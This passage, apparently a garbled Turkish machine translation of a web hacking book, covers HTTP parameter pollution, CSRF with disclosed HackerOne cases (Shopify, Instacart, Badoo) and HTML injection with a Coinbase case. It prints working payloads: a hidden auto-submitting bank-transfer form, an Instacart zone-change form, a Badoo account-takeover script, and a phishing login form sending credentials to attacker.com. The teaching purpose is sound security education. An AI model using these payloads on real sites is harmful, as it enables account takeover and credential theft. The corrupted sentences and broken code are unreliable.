URL'nin sonuna kadar screen_name parametresi. Bu tweet'i begenmek bir kurbanla sonuglanabilir
Tweet'i begenmek i¢in dogru kullanici profiliyle sunuluyor, ancak takip et diigmesi

dogru Tweet ve tweeter'in dogru profili ile birlikte

ilgisiz kullanic1 ericrtest3 igin.

c¢ikarimlar

Bu, 6nceki UID Twitter giivenlik agigina benzer. Sasirtict olmayan bir sekilde, ne zaman
Site HPP gibi bir hasara kars1 savunmasiz, daha genis bir sistemik gostergesi olabilir
konu. Bazen bdyle bir giivenlik agig1 bulursaniz, zaman ayirmaya deger

Platformu tiimiiyle arastirmak, bulundugunuz baska yerler olup olmadigin1 gérmek igin
benzer davranislardan yararlanabilir.
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HTTP Parametre Kirliligi

ozet

HTTP Parametre Kirliligi tarafindan olusturulan risk gercekten gergeklestirilen islemlere baghdir
Bir sitenin arka ucu ve kirli parametrelerin kullanildig: yerler.

Bu tiir giivenlik agiklarini kesfetmek gercekten denemelere baglidir.
diger giivenlik agiklarindan daha fazla, ¢linkii bir web sitesinin arka ug islemleri kara kutu olabilir

Bir bilgisayar korsanina, yani, ne gibi bir eylemle ilgili muhtemelen ¢ok az bir fikre sahip olacaksiniz.

arka u¢ sunucu girisinizi aldiktan sonra alir.

Deneme ve yanilma yoluyla, bu tiir giivenlik agig1 durumlarini kegfedebilirsiniz.
ities. Sosyal medya baglantilar1 genellikle iyi bir ilk adimdir, ancak kazmaya devam etmeyi ve
UID'ler gibi parametre degisimlerini test ederken HPP'yi diisiiniin.
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6. Siteler Arasi Istek Sahteciligi

Aciklama

Bir saldirgan bir HTTP kullanabiliyorsa, siteler arasi sahtecilik istegi veya CSRF saldiris1 gergeklesiyor
Bir kullanicinin bilgisine baska bir web sitesinden erismek ve bu bilgiyi

kullanic adina hareket etmek. Bu genellikle daha 6nce kimligi dogrulanmis magduru temel alir
eylemin sunuldugu ve web sitesinde magdur olmadan gergeklesen hedef web sitesinde

Saldirinin gerceklestigini bilmek. Iste size iizerinden gegecegimiz temel bir 6rnek:

1. Bob, bakiyesini kontrol etmek i¢in bankacilik web sitesine giris yapar.

2. Bitince, Bob Gmail hesabini https://gmail.com/ adresini ziyaret ederek kontrol eder .

3. Bob, bilmediginiz bir web sitesine baglanti igeren bir e-posta adresine sahiptir ve gérmek i¢in baglantiy: tiklatir.
nereye gidiyor.

4. Bilinmeyen site yiiklendiginde, Bob’un tarayicisina HTTP istegi yapmasi talimatini verir.
Bob'un hesabindan parayi saldirgana aktaran bankacilik internet sitesine.

5. Bob'un bankacilik web sitesi, yabanci (ve mali-

cious) web sitesi, CSRF korumasina sahip degildir ve bu nedenle aktarimai isler.

Kurabiye

Simdi, Bob'un nasil tehlikeye atildigina dair ayrintilara gegmeden dnce konugmamiz gerek.
Cerezler hakkinda. Kimlik dogrulamasi gerektiren bir web sitesini ziyaret ettiginizde, bir kullanici ad1 gibi
ve parola, bu site tarayicinizda genellikle bir ¢erez saklar. Cerezler dosyadir

kullanicinin bilgisayarinda depolanan web siteleri tarafindan olusturulur.

Cerezler, kullanicr tercihleri gibi bilgileri saklamak gibi ¢esitli amaglar i¢in kullanilabilir.
Kullanicilar veya bir web sitesini ziyaret etme ge¢misini belirtir. Bu bilgileri saklamak igin ¢erezler
tarayicilara anlatan standartlastirilmig bilgi pargalari olan bazi 6zelliklere sahip

Cerezler ve nasil tedavi edilmeleri gerektigi hakkinda. Bir ¢erezin yapabilecegi bazi1 6zellikler

etki alani, son kullanma tarihi, giivenli ve httponly niteliklerini icermelidir.

Ozelliklere ek olarak, cerezler, asagidakilerden olusan ad / deger ¢iftleri icerebilir.

bir web sitesine iletilecek bir tanimlayici ve iligkili bir deger (bunu gegen site

bilgileri, ¢erezin etki alani niteligi ile tanimlanir). Bir site herhangi bir sayida

Cerezler, her biri kendi amaglar1 igin. Ornegin, bir site bir session_id cerezini kullanabilir

Bir kullanicinin, kullanic adin1 ve sifresini girmesini saglamak yerine kim oldugunu hatirlayin.

ziyaret ettikleri her sayfa veya gerceklestirdikleri eylem. HTTP nin durumsuz olarak kabul edildigini unutmayin

Siteler Arasi istek Sahteciligi 28

yani her HTTP isteginde, bir web sitesi bir kullanicinin kim oldugunu bilmez, yani
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Her istek i¢in onlar1 yeniden dogrulamak igin. . )
Bu nedenle, 6rnek olarak, bir ¢erezdeki bir ad / deger ¢ifti sessionld: 123456789 ve

Cerez bir .site.com etki alanina sahip olabilir. Bu, user_id ¢erezinin olmasi gerektigi anlamina gelir
her .site.com sitesine, foo.site.com, bar.site.com, www.site.com gibi bir kullanicinin ziyaret ettigi,

ve bunun gibi.

Giivenli ve httponly ozellikleri, tarayicilara gerezlerin ne zaman ve nasil gonderilebilecegini ve

okuyun. Bu nitelikler deger icermez, bunun yerine ya mevcut olan bayraklar gibi davranirlar.

cerezde ya da degil. Bir ¢erez giivenli niteligi icerdiginde, tarayicilar yalnizca

HTTPS sitelerini ziyaret ederken bu ¢erezi gonder. Http://www.site.com/ adresini giivenli bir sekilde ziyaret ettiyseniz
gerez, tarayiciniz gerezlerinizi siteye gondermez. Bu gizliliginizi korumaktir

HTTPS baglantilar sifreli oldugundan ve HTTP baglantilar1 olmadigindan. Httponly niteligi

Tarayiciya, gerezin yalnizca HTTP ve HTTPS istekleriyle okunabilecegini sdyler.

Bu, siteler aras1 komut dosyasi ¢alistirmayi daha sonraki bir boliimde tartigirken 6nemli olacaktir.

simdilik, ¢erez bir httponly ise, tarayicilarin komut dosyasi dillerine izin vermeyecegini unutmayin,

degerini okumak i¢in JavaScript gibi. Giivenli 6zniteligi olmayan bir ¢erez génderilebilir

HTTPS olmayan bir site ve ayni sekilde, httponly ayarlanmamis bir ¢erez HTTP olmayan bir kullanici tarafindan okunabilir.
bag.

Son olarak, son kullanma tarihi, sitenin artik ne zaman dikkate alinmayacagini tarayiciya bildirir.

cerez gecerli olacak, bu ylizden tarayici onu yok etmelidir.

Bunlarin hepsini Bob'a geri goétiirmek, bankaciligini ziyaret ettiginde ve giris yaptiginda, banka
HTTP istegine yanit veren ve tanimlayan bir ¢erez igeren bir HTTP yanit1 ile yanitlayin.
Bob. Sirasiyla, Bob'un tarayicisi bu ¢erezi otomatik olarak diger tiim HTTP ile birlikte gonderir.

bankacilik internet sitesine yapilan talepler.

Bankasini bitirdikten sonra, Bob https://www.gmail.com/ adresini ziyaret etmeye karar verdiginde oturumu kapatmaz .
Bu 6nemlidir, ¢iinkii bir siteden ¢ikis yaptigimizda, o site tipik olarak bir HTTP gonderir.
Cerezinizi sona erdiren yanit. Sonug olarak, siteyi tekrar ziyaret ettiginizde,

Tekrar giris yap.

Bob bilinmeyen siteyi ziyaret ettiginde, istemeden kotii niyetli bir web sitesini ziyaret ediyor.
bankacilik web sitesine saldirmak igin tasarlanmistir. Bu noktada, kétii niyetli sitenin kullandigi yol
Bankacilik sitesi, bankanin GET veya POST taleplerini kabul edip etmemesine baglidur.

GET istekleriyle CSRF

Bankacilik sitesi GET isteklerini kabul ederse, kotii niyetli site HTTP istegini gonderir
Gizli bir form veya bir <img> etiketi ile. Sakli form teknigi kullanilabildiginden beri
POST istekleri de bu boliimde <img> etiketini ve “CSRF” formlarini1 kapsayacaktir.
POST istekleri ile ”bdliimiinde daha sonra.

Bir <img> etiketi bir tarayici tarafindan islendiginde, Google’a bir HTTP GET istegi gonderir.
etiketindeki src niteligi. Oyleyse, kotii amagli site 500 ABD dolari transfer eden bir URL kullaniyorsa

Bob'dan Joe'ya benzeyen:
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https://www.bank.com/transfer?from=bob&to=joe&amount=500

daha sonra, kotli amagl bir resim etiketi, asagidaki URL'deki gibi bu URL'yi kaynak degeri olarak kullanir
etiket:

<img src = "https://www.bank.com/transfer?from=bob&to=joe&amount=500">

Sonug olarak, Bob saldirganin sahip oldugu siteyi ziyaret ettiginde, HTTP’inde <img> etiketini igerir.
yanit ve tarayici daha sonra bankaya HTTP GET isteginde bulunur. Tarayici
Bob'un aslinda bir resim olmasi gerektigini diisiindiigii seyi almasi i¢in kimlik dogrulama gerezleri génderir
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banka istegi alir, URL'yi etiketin src niteliginde isler ve isler
transfer.

Bu nedenle, genel bir web programlama prensibi olarak, HTTP GET talepleri

asla para transferi gibi herhangi bir arka ug veri degistirme isteginde bulunmayin.

POST istekleriyle CSRF

Buna karsilik, banka POST isteklerini kabul ederse, dikkate alinmasi gereken birkag sey vardir.
Bir POST isteginin igerigi bir CSRF saldirisini karmagiklastirabilir, bu yiizden farkli teknikler
Bir saldiriy1 basariyla kaldirmak igin kullanilmasi gerekir.

En basit durum, igerik tipi bagvurusuyla bir POST istegini igerir.

sendika / x-www-form-urlencoded veya metin / diiz. I¢erik tiirii, tarayicilarin kullandig1 bir basliktir

HTTP istekleri gonderirken igerebilir. Alictya HTTP nin gdvdesinin nasil oldugunu gosterir.
istek kodlandi. Iste bir metin / diiz icerik tiirii istegi 6rnegi:

POST/HTTP/ 1.1

Ev sahibi : www.google.com.tr

Kullanict Aracisi : Mozilla/ 5.0 (Windows NT 6.1; rv: 50.0) Gecko / 20100101 Firefox / 50.0
Kabul et : metin / html, uygulama / xhtml + xml, uygulama / xml; q=0.9, * / *; q=0.8

icerik Uzunlugu : 0

Igerik Tiirii : metin / diiz; karakter kiimesi = UTF-8

DNT : 1

Baglanti : yakin

Icerik tipi etiketlenir ve tiirii, kodun karakter kodlamasiyla birlikte listelenir.

istek. Igerik tiirli 6nemlidir, ¢iinkii tarayicilar tiirleri farkli sekilde ele alir (

bir saniye i¢inde alacagiz). Simdi, bu durumda, kotii amacli bir sitenin olugturulmast miimkiindiir
gizli bir HTML formu ve kurbani bilmeden sessizce hedef siteye gonderin.

Form bir URL'ye POST veya GET istegi gondermek i¢in kullanilabilir ve hatta génderebilir

parametreler Iste bazi kotii amacgh kodlara bir 6rnek:
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<iframe style = "display: none" name = "csrf-frame" > </iframe>
<form method ='POST' eylem = 'http://bank.com/transfer.php' target = "csrf-frame" id \
= "csrf-form" >
<input type = 'hidden' name =" value = 'Bob' dan >
<input type = 'hidden' name ="ila' value = 'Joe' >
<input type = 'hidden' name = 'miktar' deger = '500' >
<input type = 'Gonder' deger = 'Gonder' >
</ Form>

<script> document.getElementByld ("csrf-form"). send () </script>

Burada, Bob’un bankasina form igeren bir HTTP POST istegi yapiyoruz (bu

<form> etiketindeki target niteligi ile ). Saldirgan Bob’un gdrmesini istemediginden
bigiminde, <input> 6gelerinin her birine, onlar1 gériinmez yapan 'gizli' tiirii verilir.

Web sayfasinda Bob goriiyor. Son adim olarak, saldirgan iginde bir miktar JavaScript i¢eriyor
Sayfa yiiklendiginde formu otomatik olarak gondermek igin bir <script> etiketi.
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JavaScript bunu HTML belgesindeki getElementByID () yontemini ¢agirarak yapar.

<form>'da belirledigimiz formun kimligi ile (“csrf-form”) . GET isteginde oldugu gibi,

Form gonderildikten sonra tarayici, HTTP POST u Bob’lara gdnderme istegi yapar

Cerezleri banka havalesine yonlendiren banka sitesine. POST istekleri bir HTTP gonderdiginden beri
geri tarayici i¢in tepki, saldirgan bir in yanit1 gizler <iframe> ile

display: none niteligi yok bdylece Bob onu géremez ve ne oldugunu fark eder.

Diger senaryolarda, bir site POST isteginin sdzlesme ile génderilmesini bekleyebilir

bunun yerine ¢adir tipi uygulama / json. Bazi durumlarda, bir uygulama / json olan bir istek
tiirlinde, HTTP istegi ile gonderilen bir deger olan bir CSRF belirteci olacaktir.

bdylece hedef site istegin kendisinden geldigini ve kendisinden kaynaklandigini dogrulayabilir.
bagka, kotii amacl bir site. Bazen belirteg POST un HTTP govdesine dahil edilir.

istek ve diger zamanlarda, igerik tiirli gibi bir baghktir.

POST isteklerini uygulama / json olarak gonderme dnemlidir, ¢linkii tarayicilar once

POST istegi gonderilmeden 6nce OPTIONS HTTP istegi gonder. Site sonra doner
SECENEKLER ¢agrisina, hangi tiir HTTP isteklerini kabul ettigini belirten bir yanut.

Tarayic1 bu yanit1 okur ve ardindan ger¢gek POST HTTP istegini yapar;

Ornegimizde, transfer olurdu. Bu is akis1 aslinda bazilarina kars1 korur

Koti niyetli web sitesinin HTTP'yi okumasina izin verilmemesi nedeniyle CSRF agiklari
SECENEKLER kétii niyetli POST gonderebilir olup olmadigini bilmek i¢in web sitesinden yanit
istek. Buna capraz kaynakli kaynak paylagimi (CORS) denir.

CORS, json yanitlar1 da dahil olmak iizere kaynaklara erisimi kisitlamak tizere tasarlanmustir.
dosyaya sunulanin digindaki etki alan1 veya hedef site tarafindan izin veriliyor. Diger

bir siteyi korumak i¢in CORS kullanildiginda, bir uygulama / json istegi gonderemezsiniz.
Hedef uygulamay1 aramak i¢in, hedefi okumadikg¢a yaniti okuyun ve bagka bir arama yapin.
site izin verir. Bazi durumlarda, bir CSRF yapmak i¢in CORS etrafinda ¢alisabilirsiniz.

Bu boliimde daha sonra gérecegimiz gibi saldiri.

Sayfa 43

Siteler Arasi Istek Sahteciligi

Simdi de belirtildigi gibi, CSRF agiklar1 bir ¢ok yolla azaltilabilir;
rapor etmeden dnce uygun bir saldirt kavrami kanit1 saglamak dnemlidir.

CSRF Saldirilarina Kars1 Savunma

CSRF'ye kars1 en popiiler koruma, muhtemelen olacak olan CSRF belirtecidir.

Potansiyel olarak veri degistirme talebi gonderilirken korunan site tarafindan istenen

POST istekleri ise). Burada, bir web uygulamasi (Bob'un bankas1 gibi) ile bir belirte¢ olusturur
biri Bob’un alacag, biri de uygulamanin alacagi iki bolim.

Bob transfer talepleri yapmaya ¢alistiginda, kartin1 géndermek zorunda kalacakti.

banka daha sonra belirteci tarafiyla dogrulardi.

Bu belirtecler her zaman agik bir sekilde adlandirilmamistir, ancak isimlerin bazi potansiyel 6rnekleri
X-CSRF-TOKEN, lia-token, rt veya form kimligini icerir. Saldirgan bagarili olamayacakt.

Gegerli bir belirteg olmadan bir POST istegini kesin olarak gonderin ve bu nedenle

CSRF saldirist diginda, ancak CSRF belirtegleri her zaman ¢ikmaz

somiirtilecek giivenlik agiklar araniyor.

Sitelerin kendilerini korumalari agik bir sekilde CORS kullanarak, aptal olmasa da

tarayicilarin giivenligine giivendigi ve uygun CORS yapilandirmalar sagladiginin kaniti

sitelerin yanitlara erigmesine izin verildiginde ve bazi CORS by-pass'lart oldugunda

Gecmiste bu agiklart. Ek olarak, CORS bazen bypass edilebilir

igerik tiiriiniin uygulamadan / json'dan uygulamaya / x-www-form-urlencoded olarak degistirilmesi

veya POST istegi yerine GET istegi kullanarak. Bunlarin her ikisi de nasil



hedef site yapilandirildi.
Son olarak, bir site kaynak bagligin1 dogrularsa, CSRF agiklarindan da kaginilabilir.

koken saldirgan tarafindan kontrol edilemedigi ve bagvuruda bulunamadigi i¢in bir HTTP istegiyle birlikte gonderildi
istegin kaynaklandigi yere.

Ornekler

1. Shopify Twitter Baglantiy1 Kes

Zorluk : Diigiik

URL : https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Rapor Baglantisi : https://hackerone.com/reports/1112161

Rapor Tarihi : 17 Ocak 2016

Odemeli Odiil : 500 Dolar

Tanim :

! https://hackerone.com/reports/111216
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Shopify, dilkkan sahiplerinin kendilerine tweet atmalarini saglamak i¢in Twitter ile entegrasyon saglar.
iirtinleri. Benzer sekilde, bir Twitter hesabinin baglantisini kesmek i¢in de islevsellik saglar.
bagl bir diikkkan. Twitter hesabinin baglantisin1 kesmek i¢in URL:

https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/

Gorliniise gore, ilk uygulandiginda, Shopify’in mesruiyetini dogrulamiyordu.
GET'in kendisine gonderilen istekleri, URL’yi CSRF’ye kars1 savunmasiz kilar.

GET / auth / twitter / http /1.1 baglantisini kes

Ev sahibi : twitter-commerce.shopifyapps.com

Kullanict Aracist : Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 43.0) Gecko /2010010 \
1 Firefox / 43.0

Kabul et : text / html, application / xhtml + xml, application / xml

Kabul Dili : en-ABD, en; q=0.5

Kabul-Kodlama : gzip, deflate

Hakem : https://twitter-commerce.shopifyapps.com/account

Cerez : _twitter-commerce_session = REDACTED

Baglanti : canl1 tutmak

Raporu yazan Hacker WeSecureApp, asagidaki
savunmasiz bir istek - savunmasiz kalmay: saglayan bir <img> etiketi kullanildigina dikkat edin.
URL:

<Html>
<Body>
<img src = "https:/twitter-commerce.shopifyapps.com/auth/twitter/disconnect" >
</ Body>
</ Html>


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111216
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111216

c¢ikarimlar

Bu durumda, giivenlik agigin1 bir proxy sunucusu kullanarak bulabilirdiniz,

Burp veya OWASP"'in ZAP'1 gibi Shopify'a gonderilen HTTP isteklerini izlemek i¢in

ve bunun bir GET istegi oldugunu belirtti. GET istekleri hi¢cbir zaman degisiklik yapmamali
sunucudaki verileri, ancak WeSecureApp ile yikict eylemde

Birincisi, bu tiir istekleri de gbz onilinde bulundurmalisiniz.

2. Kullanicilar: Esitleme Bolgelerini Degistir

Zorluk : Diisiik
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Siteler Arasi Istek Sahteciligi 33

URL : https://admin.instacart.com/api/v2/zones/

Rapor Baglantisi : https://hackerone.com/reports/157993>
Rapor Tarihi : 9 Agustos 2015

Odemeli Odiil : 100 $

Tamm :

Instacart kuryeleri i¢in bir arayiize sahip bir bakkal teslimat uygulamasi. Bakkaliye izin verir

Teslim kullanicilari, ¢alistiklar: bolgeleri tanimlamak igin

Instacart admin API'sinin / api / v2 / bdlgelerinin bitis noktasina POST istegi. Kesfedilen bir bilgisayar korsani
bu son noktanin savunmasiz CSRF oldugu ve magdur bolgesini degistirmek igin kullanilabilecegi. Iste

magdurun bolgesini degistirmek i¢in baz1 6rnek kodlar:

<Html>
<Body>
<form eylem = "https://admin.instacart.com/api/v2/zones" yontem = "POST" >
<input type = "hidden" name = "zip" deger = "10001" />
<input type = "hidden" name = "gegersiz kil" deger = "true" />
<input type = "génder" value = "Istegi génder" />
</ Form>
</ Body>

</ Html>

Bu 6rnekte, bilgisayar korsani, bir POST istegiyle API'ye erismek i¢in bir form olugturdu. Onlar

daha sonra iki gizli girig kullanilds; biri kullanicinin yeni bolgesini 10001 posta koduna ayarlamak igin
ve API'nin gegersiz kilma parametresini true olarak ayarlamak i¢in kullanicinin gegerli zip degeri
hacker sunulan degeri ile degistirilir. Son olarak, hacker formu gondermistir.

POST isteginde bulunun. Bu POC, kurban gerektirecegi i¢in 6ncekilerden farkli

korsan otomatik génderme 6zelligini kullanmadigindan istegi géndermek i¢in bir diigmeyi nasil

JavaScript islevi

Her ne kadar bu 6rnek hala ise yararsa da, teknikleri kullanarak gelistirilebilir.

Gizli iframe kullanmak ve istegi otomatik olarak gondermek gibi

kullanict adina. Bu, Instacart bug liituflu tetik¢ilerine nasil bir

Saldirgan bu giivenlik agigini, giivenlik agiklarindan bu yana herhangi bir magdur eylemi olmadan kullanabilir.

Magdur etkilesimi gerektirmez veya sinirlandirilmaz, ¢linkii daha az ¢aba harcayarak potansiyel olarak daha etkilidir


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/157993

giivenlik agigindan yararlanmak i¢in gereklidir.

2 https:/hackerone.com/reports/157993
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cikarimlar

Avantajlar ararken, saldirt alaninizi genisletin ve sadece 6tesine bakin
bir sitenin, API i¢in son noktalar1 igeren ve

aciklari. Bazen, gelistiriciler bazen bu API bitis noktalarini unutur

web sayfalar1 gibi hazir olmadiklar igin kesfedilebilir ve kullanilabilirler

(6rnegin, mobil API ug noktalar, telefon trafiginizin ele gegirilmesini gerektirir).

3. Badoo Tam Hesap Alma

Zorluk : Orta
URL : https://badoo.com

Rapor Baglantisi : https://hackerone.com/reports/1277033

Rapor Tarihi : 1 Nisan 2016
Odemeli Odiil : 852 $
Tanim :

Https://www.badoo.com/ adresindeki sosyal ag web sitesini ziyaret edip arastirirsaniz goéreceksiniz.
CSREF belirteci ile CSRF agiklarina karsi koruduklari. Daha spesifik olarak, onlar

Her kullaniciya 6zgii benzersiz, ancak yalnizca bes rakam uzunlugunda bir URL parametresi kullanin.

yazma zamaninda). Badoo'nun bécek 6diil programi yaymna girdiginde bunu fark ettim.
HackerOne’da, onu kullanmanin bir yolunu bulamadim. Ancak, hacker Mahmoud Jamal

yaptt.
Rt parametresini ve 6nemini taniyarak, parametrenin
Hemen hemen tiim JSON yanitlarinda iade edildi. Ne yazik ki bu CORS olarak yardime1 olmadi

Badoo'yu saldirganlardan kodlanmis olduklari i¢in bu yanitlar1 okuyanlardan korur.
uygulama / json igerik tiirleri, ancak Mahmoud kazmaya devam etti.

Mahmoud daha sonra asagidaki JavaScript dosyasini buldu:
https://eul.badoo.com/worker-scope/chrome-service-worker.js

Bu dosyanin iginde, suna benzeyen bir url_stats degiskeni vard: :

var url_stats = 'https://eul.badoo.com/chrome-push-stats?ws=1&rt= <rt_param_value>";

Url_stats degisken bir parametre olarak kullanicinin benzersiz rt degerini iceren bir URL depolanmis
kullanicinin tarayicisi JavaScript dosyasina eristiginde. Daha iyisi neydi

Bu, kullanicinin rt degerini elde etmek i¢in bir saldirganin magduru ziyaret etmesi

JavaScript dosyasina erigebilecek kotii amagli bir web sayfasi. Saldirgan daha sonra kullanabilir
Herhangi bir sosyal medya hesabini kullanicinin Badoo hesabiyla iliskilendirecek olan rt degeri;
saldirgana magdurun hesabina giris ve degisiklik yapma yetenegi verin. iste HTML

3 https://hackerone.com/reports/127703
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Sayfa Mahmoud bunu basarmak i¢in kullanilir (igin kod ve durum degerlerini kaldirdim.

bi¢imlendirme amagli):

<Html>
<Head>
<title> Badoo hesab1 devrald: </title>
<script src = https: //eul.badoo.com/worker-scope/chrome-service-worker.js? ws = 1 \
> </ Script>
</ Head>
<Body>
<Script>
getCSRFcode islevi (str) {
doniis str.split (=) [2];
)
window.onload = function () {
var csrf_code = getCSRFcode (url_stats);
csrf_url = 'https: //eul.badoo.com/google/verify.phtml? code = KOD & authuser =\
3 & session_state = STATE & prompt = none & rt ="+ csrf_code;
window.location = csrf_url;
S
</ Seript>
</ Body>
</ Html>

Bir magdur bu sayfay1 yiiklediginde, Badoo JavaScript'ini referans gostererek yiikler.

komut dosyasindaki src niteligi olarak. Komut dosyasini yiikledikten sonra, web sayfasi1 daha sonra
Anonim bir JavaScript islevi tanimlayan JavaScript islevi window.onload.

Bir web sayfasi yiiklendiginde ve islevden bu yana, load olay igleyicisi tarayicilar tarafindan ¢agriliyor
Tanimli Mahmoud, window.onload isleyicisinde depolanir, islevi her zaman

Sayfa yiiklendiginde cagrilir.

Ardindan, Mahmoud bir csrf_code degiskeni yarattt ve buna bir doniis degeri verdi.
getCSRFcode adini verdigi islev. Bu islev bir dizgiyi alir ve dizeye boler

Her '=' karakterindeki dizeler. Daha sonra dizinin {igiincii tiyesinin degerini donddirtir.
Islev url_stats degiskenini Badoo'nun savunmasiz JavaScript dosyasindan ayristirdiginda,

dizeyi dizi degerine bdler:
https://eul.badoo.com/chrome-push-stats?ws,1 &rt, <rt_param_value>

Sonra islev, dizinin {iglincii tiyesini dondiiriir, ki bu, rt degeridir.
csrf code simdi rt degerine esittir.

CSREF belirtecine sahip oldugunda, Mahmoud bir URL'yi depolayan csrf url degiskenini olusturur.
Badoo’nun /google/verify.phtml web sayfasina kendi Google hesabini
kurbanin Badoo hesab1. Bu sayfa, i¢ine kodlanmis bazi parametreler gerektirir.
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URL dizesi. Ancak Badoo’ya 6zgii oldugu i¢in burada ayrintili olarak yer vermeyecegiz.
Sert bir kodlanmig degeri olmayan son rt parametresini not almalisiniz.

Bunun yerine, csrf code URL dizesinin sonuna birlestirilerek rt olarak gegirilir.

parametrenin degeri. Mahmoud, daha sonra window.location &gesini ¢agirarak bir HTTP istegi yapar.
ve onu ziyaret eden kullanicinin tarayicisint URL’deki URL’ye yonlendiren csrf url atar.

csrf_url. Kullanicinin tarayicisi daha sonra /google/verify.phtml sayfasini igler ve

Kullanicinin Badoo hesabi, Mahmoud’in Google hesabina, bdylece hesap tamamland:

Devralmak.

cikarimlar

Dumanin oldugu yerde yangin var. Burada, Mahmud rt parametresinin farkina vardi.
farkli yerlerde, 6zellikle de JSON yanitlarinda iade ediliyordu. Ciinkii
Bunun hakli olarak, rt'nin olabilecegi bir yerde ortaya ¢ikabilecegini tahmin etti.

bir saldirgan tarafindan erisilebilir ve istismar edildi - ki bu durumda bir JavaScript dosyastydi.

Bir seylerin kapali oldugunu diisiiniiyorsaniz, kazmaya devam edin. Bir proxy kullanin ve tim
Bir hedef siteyi veya uygulamayi ziyaret ettiginizde ¢agrilan kaynaklar. Sen
CSREF belirteci gibi hassas verilerle bir bilgi sizintisi bulabilir.

Ayrica, bu harika saglamak i¢in ekstra mil gitmenin harika bir 6rnegidir
bir istismarin kaniti. Mahmoud sadece giivenlik a¢igini1 bulmakla kalmadi, ayn1 zamanda
onun HTML yoluyla nasil kullanilacagina dair tam bir 6rnek verdi.

ozet

CSRF agiklari bagka bir saldir1 vektoriinii temsil eder ve
Magdur bile bir eylemi bilerek veya aktif olarak uygular. CSRF agiklarini bulmak

biraz yaraticilik ve yine, her seyi test etme arzusu.

Genel olarak, Ruby on Rails gibi uygulama gergeveleri web'i giderek daha fazla koruyor
Sitede POST istekleri gergeklestiriliyorsa, ancak GET i¢in durum bdyle degil
istekleri, sunucuyu degistiren herhangi bir GET HTTP ¢agrisina dikkat edin.

36

yan kullanicr verileri (DELETE islemleri gibi). Son olarak, bir sitenin bir CSRF simgesi gonderdigini goriiyorsaniz

Bir POST isteginde, CSRF belirte¢ degerini degistirmeyi veya

sunucu varligini dogruliyor.
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7. HTML Enjeksiyonu

Aciklama

Koprii Metni Bigimlendirme Dili (HTML) enjeksiyonuna bazen sanal denir.

silinti. Bu gercekten kotii niyetli bir kullanicinin izin verdigi bir site tarafindan gerceklestirilen bir saldiridir
Bir kullanicinin girigini diizgiin islemeyerek HTML'yi web sayfalarina enjekte edin. Bagka bir deyisle,
HTML enjeksiyon giivenlik a¢1g1, genellikle bazi formlar araciligiyla HTML alinmasindan kaynaklanir.
web sayfasinda daha sonra girildigi gibi islenen giris. Bu ayr1 ve belirgin

siteler aras1 komut dosyas1 saldirilarina neden olabilecek Javascript, VBScript vb.

HTML, bir saldirganin yapabilecegi bir web sayfasinin yapisini tanimlamak i¢in kullanilan dil oldugundan,
HTML enjekte ettikleri zaman, bir tarayicinin olusturdugunu ve bir web sayfasinin gériiniisiinii degistirebilir
sevmek. Bazen bu, bir sayfanin goriiniimiinii veya baska bir gorliniimiin tamamen degistirilmesine neden olabilir.
durumlarda, kullanicilar1 aldatmak i¢in HTML formlari olusturmak, formu hassas gondermek i¢in kullanirlar
bilgi (buna phishing denir). Ornegin, HTML enjekte edebilirseniz,

kullaniciya, kullanict adlarini tekrar girmesini isteyen bir <form> etiketi ekleyebilir.

ve sifre gibi:

<form method = 'POST' eylem = 'http://attacker.com/capture.php' id = "login-form" >
<input type = 'text' name = 'kullanici ad1' value =" >
<giris tiirti = 'sifre' adi = "sifre' degeri =" >
<input type = 'Gonder' deger = 'Gonder' >

</ Form>

Ancak, bu formu gonderirken, bilgiler aslinda http:/attacker.com adresine gonderilir.

Bilgileri bir saldirganin web sayfasina gonderen bir action niteligi araciligiyla.

Ornekler

1. Coinbase Yorumlar

Zorluk : Diisiik
URL : coinbase.com/apps

Rapor Baglantisi : https://hackerone.com/reports/104543:

! https://hackerone.com/reports/104543

HTML Enjeksiyonu

Rapor Tarihi : 10 Aralik 2015
Odemeli Odiil : 200 $
Tamim :

Bu giivenlik ac181 igin, raportdr Coinbase'in ger¢ekten URI'yi ¢6zdiigiinii belirledi

metin olugtururken kodlanmis degerler. Tanidik olmayanlar i¢in, bir URI'deki karakterler
ayrilmis veya korunmamis. Wikipedia'ya gore, a ayrilmig karakter

bazen / ve & gibi 6zel anlamlar1 vardir. Ayrilmamig karakterler

Herhangi bir 6zel anlam, tipik olarak sadece harfler.
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Boylece, bir karakter URI kodlu oldugunda, Amerikan’daki bayt degerine doniistiiriliir.
Bilgi Degisimi igin Standart Kod (ASCII) ve yiizde isaretinden dnce gelen

(%). Boylece, /% 2F olur, &% 26 olur. Bir kenara ASCII, bir tiir kodlamadir;

UTEF-8 gelene kadar internette en yaygin olaniydi, baska bir kodlama tiirii.

Bu 6rnege gelince, eger bir saldirgan HTML gibi girdiyse:
<h1> Bu bir testtir </h1>

Sikke temeli aslinda tam olarak yukarida gérdiigiiniiz gibi diiz metin olarak goriiniir. Ancak, eger
kullanici agagidaki gibi URL kodlu karakterler génderdi:

% 3C% 68% 31% 3E% 54% 68% 69% 73% 20% 69% 73% 20% 61% 20% 74% 65% 73% 74% 3C% 2F,% 68,% 31,% 3E

Coinbase aslinda bu dizginin kodunu ¢ozer ve karsilik gelen harfleri <h1>
etiketler:

Bu bir test

Bununla birlikte, raporlayan bilgisayar korsani bir HTML formunu nasil olusturabilecegini gosterdi.
Coinbase'in olusturacagi kullanici ad1 ve sifre alanlar1. Hacker olsaydi

koti niyetli, kullanicilari bir form géndermeleri i¢in kandirmak igin giivenlik agigini kullanabilirdi
Coinbase'de islenen, kotii niyetli bir web sitesine degerler geri gondermeyi kontrol etti ve

kimlik bilgilerini almak (insanlarin formu doldurup gonderdiklerini varsayarak).

c¢ikarimlar

Bir siteyi test ederken, farkli tiplerdeki sitelerin nasil islendigini kontrol edin.

diiz metin ve kodlanmis metin dahil olmak iizere giris. Olan siteleri aramak igin olun
% 2F gibi URI kodlu degerleri kabul etme ve kod ¢6zme degerlerini olugturma

bu durum /. Bu 6rnekte hacker'in ne diisiindiigiinii bilmiyor olsak da,

URI’nin kisitlanmig karakterleri kodlamaya ¢alistiklarini ve

